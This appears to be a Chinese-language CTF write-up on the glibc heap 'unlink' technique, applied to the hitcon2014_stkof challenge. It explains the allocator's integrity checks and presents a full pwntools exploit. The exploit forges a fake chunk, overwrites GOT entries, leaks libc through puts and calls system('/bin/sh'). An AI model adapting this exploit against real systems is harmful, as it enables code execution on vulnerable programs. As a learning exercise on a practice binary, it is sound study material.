知识点
就我自己的理解,unlink就是大概就是在unsortedbin中这样的双向链表中,在第一个堆中写入伪造的一个堆结构,溢出到第二个堆的prve_size,和size位时,改size的最后一位为0,这样free第二个堆时,会触发堆的合并机制,在改写第一个堆的内容是可以造成一个任意位置的读写
保护检查
下面是一个大佬总结的 大佬的文章
检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小
可以看左图绿色框中的内容,上面绿色框中的内容是second_chunk的size大小,下面绿色框中的内容是hollk5的prev_size,这两个绿色框中的数值是需要相等的(忽略P标志位)。在wiki上我记得在基础部分有讲过,如果一个块属于空闲状态,那么相邻高地址块的prev_size为前一个块的大小
检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0
可以看左图蓝色框中的内容,这里是hollk5的size,hollk5的size的P标志位为0,代表着它前一个chunk(second_chunk)为空闲状态
检查3:检查前后被释放chunk的fd和bk
可以看左图红色框中的内容,这里是second_chunk的fd和bk。首先看fd,它指向的位置就是前一个被释放的块first_chunk,这里需要检查的是first_chunk的bk是否指向second_chunk的地址。再看second_chunk的bk,它指向的是后一个被释放的块third_chunk,这里需要检查的是third_chunk的fd是否指向second_chunk的地址
hitcon2014_stkof
这是buu上的一个题目,也差不多是很多大佬在讲这个知识点例题
got表可以改
edit(自己命名的)这里的修改没有进行长度的检查,溢出什么的很方便
各个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| def add(size): p.sendline(str(1)) p.sendline(str(size)) p.recvuntil(b'OK')
def edit(num,content): p.sendline(str(2)) p.sendline(str(num)) p.sendline(str(len(content))) p.sendline(content) p.recvuntil(b'OK')
def delete(num): p.sendline(str(3)) p.sendline(str(num))
|
先申请4个堆
1 2 3 4 5
| add(0x30) // add(0x80) //伪造堆
add(0x80) //用来free进行合并的 必须0x80才是unsortedbin add(0x30) //放/bin/sh\x00的
|
然后就是伪造和free
1 2 3 4 5
| payload=p64(0)+p64(0x80)+p64(bss-0x18)+p64(bss-0x10)+b'a'*(0x80-0x20) payload+=p64(0x80)+p64(0x90)
edit(2,payload) delete(3)
|
这里重点讲一下bss的位置是
add函数中malloc时返回的地址的存放点
bss-0x18是第一个堆的返回地址放在的位置
bss-0x10是bss伪造堆写入数据地址(检查)
这样创建的三个堆就可以edit了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') p=process('./pwn')
elf=ELF('./pwn') atoi_got = elf.got['atoi'] libc=ELF('./libc-2.23.so') free_got = elf.got['free'] puts_got = elf.got['puts'] puts_plt = elf.plt['puts']
bss=0x602140 def add(size): p.sendline(str(1)) p.sendline(str(size)) p.recvuntil(b'OK')
def edit(num,content): p.sendline(str(2)) p.sendline(str(num)) p.sendline(str(len(content))) p.sendline(content) p.recvuntil(b'OK')
def delete(num): p.sendline(str(3)) p.sendline(str(num))
add(0x30) add(0x80)
add(0x80) add(0x30) payload=p64(0)+p64(0x80)+p64(bss-0x18)+p64(bss-0x10)+b'a'*(0x80-0x20) payload+=p64(0x80)+p64(0x90) gdb.attach(p) pause() edit(2,payload)
delete(3)
payload2=b'c'*0x10 payload2+=p64(free_got)+p64(puts_got)
edit(2,payload2) payload1=p64(puts_plt)
edit(1,payload1)
delete(2)
leak=u64(p.recvuntil('\x7f')[-6:]+b'\x00\x00')
print(hex(leak)) libc_addr=leak-libc.sym['puts']
system=libc_addr+libc.sym['system']
payload=p64(system)
edit(1,payload)
edit(4,'/bin/sh\x00') delete(4)
p.interactive()
|